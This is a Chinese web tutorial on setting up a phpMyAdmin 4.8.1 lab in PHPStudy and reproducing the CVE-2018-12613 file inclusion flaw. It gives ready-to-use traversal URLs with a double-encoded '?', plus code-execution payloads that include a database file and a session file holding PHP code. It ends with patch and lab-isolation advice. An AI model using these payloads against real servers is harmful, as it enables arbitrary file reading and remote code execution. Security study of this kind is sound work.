当前位置: 首页 > news >正文

用PHPStudy搭建phpMyAdmin 4.8.1靶场,手把手复现那个经典的文件包含漏洞

从零构建phpMyAdmin 4.8.1漏洞实验环境:实战文件包含漏洞复现指南

在网络安全学习过程中,没有什么比亲手复现一个经典漏洞更能加深理解。phpMyAdmin 4.8.1的文件包含漏洞(CVE-2018-12613)因其典型性和教育意义,成为许多安全从业者的"启蒙漏洞"。本文将带你使用最常见的PHPStudy环境,完整搭建这个漏洞靶场,并通过三种不同的利用方式,让你彻底掌握文件包含漏洞的原理与实战技巧。

1. 实验环境准备与配置

1.1 工具与组件下载

首先需要准备以下软件包,建议从官方渠道获取:

  • PHPStudy 2018版(推荐版本:V8.1)
  • phpMyAdmin 4.8.1源码包
  • Windows 10/11操作系统

注意:不同版本的PHPStudy可能内置的PHP和MySQL版本不同,这会影响后续配置。我们推荐使用较旧的2018版本,因为它默认包含与漏洞兼容的PHP 5.x系列。

1.2 基础环境部署

安装PHPStudy后,按以下步骤初始化环境:

  1. 启动PHPStudy控制面板
  2. 选择"Apache 2.4" + "PHP 5.6"组合
  3. 点击"启动"按钮运行服务
  4. 解压phpMyAdmin 4.8.1到phpStudy\WWW目录
  5. 访问http://localhost/phpMyAdmin-4.8.1/验证安装

常见问题解决方案:

问题现象解决方法
页面空白检查PHP版本是否为5.x
MySQL连接失败确认MySQL服务已启动
缺少mbstring扩展在php.ini中取消注释extension=php_mbstring.dll

1.3 解决blowfish_secret配置错误

首次访问phpMyAdmin时,通常会遇到以下错误提示:

配置文件现在需要绝密的短语密码(blowfish_secret)

解决方法:

  1. 打开phpMyAdmin/libraries/config.default.php
  2. 找到$cfg['blowfish_secret']配置项
  3. 修改为任意32字符以上的字符串,例如:
$cfg['blowfish_secret'] = 'thisisasecretkeyforpma481testonly123';

2. 漏洞原理深度解析

2.1 文件包含漏洞的形成机制

phpMyAdmin 4.8.1的漏洞核心在于index.php中对target参数的处理不当。关键代码逻辑如下:

// index.php 51-64行 if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; }

这段代码表明,当满足五个条件时,系统会直接包含target参数指定的文件。其中最关键的是Core::checkPageValidity()函数的校验逻辑。

2.2 校验函数的绕过技巧

checkPageValidity()函数位于libraries/classes/Core.php中,其核心判断逻辑是:

function checkPageValidity(&$page) { if (isset($_whitelist) && in_array($page, $_whitelist)) { return true; } $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $_whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $_whitelist)) { return true; } return false; }

要成功利用漏洞,需要构造特殊的payload满足以下任一条件:

  1. 直接在白名单中(几乎不可能)
  2. 问号前的部分在白名单中
  3. 双重URL解码后问号前的部分在白名单中

关键点:服务器会自动解码一次URL编码,urldecode()函数会再解码一次,因此需要双重编码问号字符(?%253f)。

3. 漏洞复现实战演练

3.1 任意文件包含攻击

这是最直接的利用方式,通过目录穿越读取系统任意文件:

  1. 在D盘创建测试文件test.txt,内容为"Hello Vuln World!"
  2. 构造payload访问:
http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../D/test.txt
  1. 页面将显示test.txt的内容

技巧:Windows系统不需要指定盘符(如D:),直接使用/../../结构即可。

3.2 数据库文件包含实现代码执行

更危险的利用方式是执行任意PHP代码:

  1. 在phpMyAdmin中创建新数据库test
  2. 执行SQL语句创建表并插入恶意代码:
CREATE TABLE `evil` (data LONGTEXT); INSERT INTO `evil` VALUES ('<?php phpinfo(); ?>');
  1. 查找数据库文件路径(通常在phpStudy/Extensions/MySQL/data/test/evil.MYD
  2. 构造payload访问:
http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/MySQL5.7.26/data/test/evil.MYD
  1. 页面将显示phpinfo信息

3.3 通过Session文件执行代码

另一种巧妙的利用方式是包含phpMyAdmin的session文件:

  1. 在SQL面板执行:
SELECT "<?php system('whoami'); ?>"
  1. 在服务器上查找session文件(通常在phpStudy/Extensions/tmp/tmp/
  2. 构造payload包含session文件:
http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/tmp/tmp/sess_[你的sessionID]
  1. 页面将显示当前Web服务的运行用户

4. 漏洞防御与学习延伸

4.1 漏洞修复方案

phpMyAdmin官方在后续版本中通过以下方式修复了此漏洞:

  1. 严格限制包含文件的路径
  2. 移除双重URL解码逻辑
  3. 加强白名单校验机制

升级到最新版phpMyAdmin是根本解决方案。

4.2 实验环境安全建议

在本地进行漏洞实验时,建议采取以下安全措施:

  • 使用虚拟机隔离实验环境
  • 实验结束后立即关闭PHPStudy服务
  • 不要将实验环境暴露在公网
  • 定期清理创建的测试数据库和文件

4.3 延伸学习资源

要深入理解文件包含漏洞,推荐研究以下相关漏洞:

  • LFI(Local File Inclusion)漏洞
  • RFI(Remote File Inclusion)漏洞
  • PHP伪协议利用技巧(php://filter等)
  • 日志文件包含攻击

在CTF比赛中,文件包含常与以下技术结合考察:

  • 路径遍历(../)
  • 编码绕过技巧
  • 文件上传漏洞组合利用
  • Session固定攻击
http://www.jsqmd.com/news/948030/

相关文章:

  • 如何在Android应用中快速集成WaveSideBar:3分钟实现波浪效果索引栏
  • 为什么PVE-VDIClient是企业级虚拟桌面和开源VDI解决方案的最佳选择?[特殊字符]
  • 从混乱到掌控:OBS Studio如何让直播变得像呼吸一样自然
  • 从一次httpd部署故障讲起:深入ELF内部,用patchelf和readelf联手调试动态库加载
  • 主流语言中的哈希表是怎样的?
  • 深度估计新范式:Distill-Any-Depth-Large-hf论文精读与代码复现
  • 新手必看:PSINS工具箱glvf函数详解,从地球参数到全局变量初始化
  • 深入解析TeleChat2.5-35B架构设计:350亿参数的智能实现
  • 5分钟彻底解决C盘爆红!Windows Cleaner终极免费清理工具
  • 终极泰语文本生成模型:gpt2-base-thai如何彻底改变泰国NLP应用
  • 别再为IIS安装报错头疼了!一个PowerShell脚本搞定.NET 3.5和角色服务安装失败
  • 深度解析ZenTimings:AMD Ryzen平台内存时序监控关键技术
  • 告别Windows 7!手把手教你用Mac/Windows搞定鸿蒙HarmonyOS开发环境(附DevEco Studio 2.0.12.201安装避坑指南)
  • OpenCore Legacy Patcher终极指南:让老Mac焕发新生的免费神器
  • 3分钟掌握LaTeX公式转换神器:让数学公式在Word中完美呈现
  • MiniCPM-V-4.6-Thinking:手机端运行的多模态AI模型完全指南
  • 2026步入式恒温恒湿试验箱十大品牌排名:权威测评发布,国产高端品牌脱颖而出 - 资讯快报
  • 2026永磁变频螺杆空压机厂家选型横评:资源禀赋与交付力深度解析指南 - 企师傅推荐官
  • HunyuanWorld-Voyager部署指南:生产环境下的最佳实践与性能调优
  • GroundingDINO环境配置:从零开始搭建完整开发环境
  • GPT2_PMC-openmind:基于PubMed Central的医学问答AI模型完全指南
  • 2026高压罗茨风机厂家深度测评:供应链交付力与技术成熟度横评指南 - 企师傅推荐官
  • 终极FanControl指南:如何用免费软件智能控制电脑风扇噪音
  • 2026年功能沙发采购指南:聚焦广东生产商的联系方式与选型策略 - 2026年企业资讯
  • Xcode效率翻倍:除了打开终端,你的Behavior还能这样玩(Pod install一键化实战)
  • Hermes WebUI认证API:实现安全自定义认证系统的完整指南
  • OpenArk深度解析:Windows系统安全检测与Rootkit对抗实战应用
  • 如何用Mellum2-12B-A2.5B-Thinking实现69.9%代码通过率?LiveCodeBench实测
  • 2026南昌离婚律师本地经验深度解析:如何精准选择匹配你案情的婚姻家事专家? - 资讯快报
  • Vicuna-7B vs Llama 2:终极性能对比与核心差异深度解析